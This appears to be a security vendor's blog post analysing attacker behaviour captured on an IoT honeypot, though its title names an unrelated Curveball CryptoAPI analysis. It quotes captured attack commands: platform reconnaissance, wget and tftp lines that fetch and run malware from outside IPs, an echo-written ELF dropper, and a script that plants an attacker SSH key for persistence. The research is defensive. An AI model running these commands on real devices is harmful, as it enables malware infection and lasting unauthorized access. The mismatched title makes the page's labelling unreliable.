An analysis of the CryptoAPI’s Curveball vulnerability
Poorly secured IoT devices are a threat to home-owner, business, and service provider alike. Strong login credentials and well-designed security helps prevent hackers accessing devices that are increasingly taking control our homes and industry.
Recently, ZD Net reported a hacker published the Telnet credentials of more than 50,000 servers, routers and IoT devices and we’ve previously published research on how attackers can compromise devices in a real case scenario.
The way Avira uses honeypots has been described in this article. Using the honeypot, we can capture and record the second stage of the attack, as the device is compromised.In this article we’ll explore in more detail what actually happens when attackers get access to a device:
Before infecting the device, attackers need to explore the set of tools available to them, and better understand the target platform (device). The platform is the combination of operating system and hardware.
Most modems and IoT devices have hardware based on either ARM or MIPS processors. Linux , or OS based on Linux and Android are most commonly found on IoT devices. Because malware that is compiled for a specific platform will not work on another platform, the process of information gathering is essential before an actual infection can be made.
After obtaining shell access, attackers obtain basic information using simple Linux commands. Below comes a portion of an attack which tries to gather some information:
Or sometimes attackers just execute commands to check if they are available or not:
Another way to find out more about the target platform is to use the command “cat /proc/cpuinfo” as shown below:
|# cat /proc/cpuinfo
processor : 0
model name : ARMv6-compatible processor rev 7 (v6l)
BogoMIPS : 697.95
Features : half thumb fastmult vfp edsp java tls
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xb76
CPU revision : 7Hardware : BCM2835
Revision : 000e
Serial : 0000000000000000#
What is sent in reply to this command is, in our case, not a real response, but a fake one produced by the honeypot. Of course, none of attacker’s commands are executed on our honeypot, but we reply to them with carefully forged commands to fool the attackers and keep them continuing their penetration. This way we can gather more information on their methods.
Another innovative method to gather information about the target platform that is used by attackers to cat the header of one of the existing binaries on the system and parse the ELF header.
An example of this can be found below:
|/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox|
In this example, they try to upload busybox binary back to extract information from its header or in another example
|cd /tmp; cat .s || cp /bin/echo .s;
dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
They do the same thing but targeting another famous binary called echo.
Some attackers gather information on available storage devices on the system, which is essential for gaining persistence on the system:
|# cat /proc/mounts
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0
tmpfs /tmp tmpfs rw,nosuid,nodev,noatime 0 0
/dev/mtdblock10 /overlay jffs2 rw,noatime 0 0
overlayfs:/overlay / overlay rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0 0
tmpfs /dev tmpfs rw,nosuid,relatime,size=512k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,mode=600 0 0
debugfs /sys/kernel/debug debugfs rw,noatime 0 0
Gathering a list of active processes using the commands “ps“:
|# /bin/busybox ps
PID TTY TIME CMD
6467 pts/0 00:00:00 sh
12013 pts/0 00:00:00 ps
Another method to obtain information about file system structure is to write a file in a directory and read it back. This way attackers can discover if the directory exists and they have the required permission to access that directory.
|echo -e ‘\x47\x72\x6f\x70/tmp’ > /tmp/.nippon; cat /tmp/.nippon; rm -f /tmp/.nippon|
\x47\x72\x6f\x70 is the ASCII form of the word “Grop“, Therefore above command writes “Grop/tmp” into a file called .nippon inside /tmp and tries to read it. Successfully reading this file means that the /tmp directory exists and the current user has the required access permissions.
In most cases, the ultimate purpose of all these hassles is to infect the device with malware.
The most common way to download malware in the device is to use available tools on the device such as TFTP and wget.
|tftp -l.i -r.i -g 220.127.116.11:58879; chmod 777 .i; ./.i
/bin/busybox wget http://18.104.22.168:80/.xxshit/4_20_gang.arm7 -O – > ESE-GO-VIC; /bin/busybox chmod 777 ESE-GO-VIC
Some scripts choose another reliable approach, echoing malware binary and saving that into a file, effectively writing the malware to the disk byte by byte.
|echo -ne ‘\x7f\x45\x4c\x46\x01\x01\x01\x61\x00\x00\x00\x00\… >> usb_ver;
chmod +x ./usb_ver;./usb_ver;
On occasions, instead of directly downloading the malware, it is better to download an intermediary script that is responsible to download the sample. This single added level of indirection will bypass the detection in honeypots that only execute/emulate received commands. For instance:
|wget http://22.214.171.124/wget.sh -O – > wge; chmod 777 wget; ./wge;|
The above commands do not download malware itself, they download the following script and execute:
for file in $files
rm -rf $outfile
rm -rf $outfile
This effectively downloads malware samples compiled for different platforms.
It is also worth paying special attention to the above script. This attacker, instead of getting the information from the target device and selecting the correct malware for the corresponding platform, simply uploads the malware for every popular platform and executes all, hoping for one of them to work. This is another unique type of attack on its own.
SSH has a strong type of encryption, meaning that the incoming and outgoing traffic to/from a device (using SSH) cannot be decrypted by anyone but the device itself. This feature would make the device a perfect place for redirecting traffic once access is gained.
In many cases, when attackers find that a device is prone to SSH Tunneling, the first thing they do is check their public IP address. Doing this, they can confirm that they have established a working route to their destination.
|65507||Tue, 24 Sep 2019 08:52:17 (UTC)||23 (SSH)||126.96.36.199||http://188.8.131.52/multi/check.php|
The script below was captured on the honeypot. The attacker copies their public key to the authorized keys after successfully logging into the device, effectively guaranteeing their future access. This method enables the attacker to log back into the device even after the current username/password of the SSH protocol is changed by the administrator.
|cat .ssh/authorized_keys|grep -v ‘heVAZUWSKH*truncated*’ >>.ssh/.auth_k;
echo ‘ssh-rsa AAAAB3NzaC1y*truncated*’ >> .ssh/.auth_k;
mv .ssh/.auth_k .ssh/authorized_keys;
First line of the above script creates a back-up of the keys on the device. It is followed by the second line which concatenated the attacker key to the existing keys on the device and in the last line the authorization keys are replaced with the modified version.
This type of approach is commonly used by attackers intent on compromising IoT devices. Furthermore, this research shows what the attackers can do once they find such IoT devices and how they can use them for malicious purpose.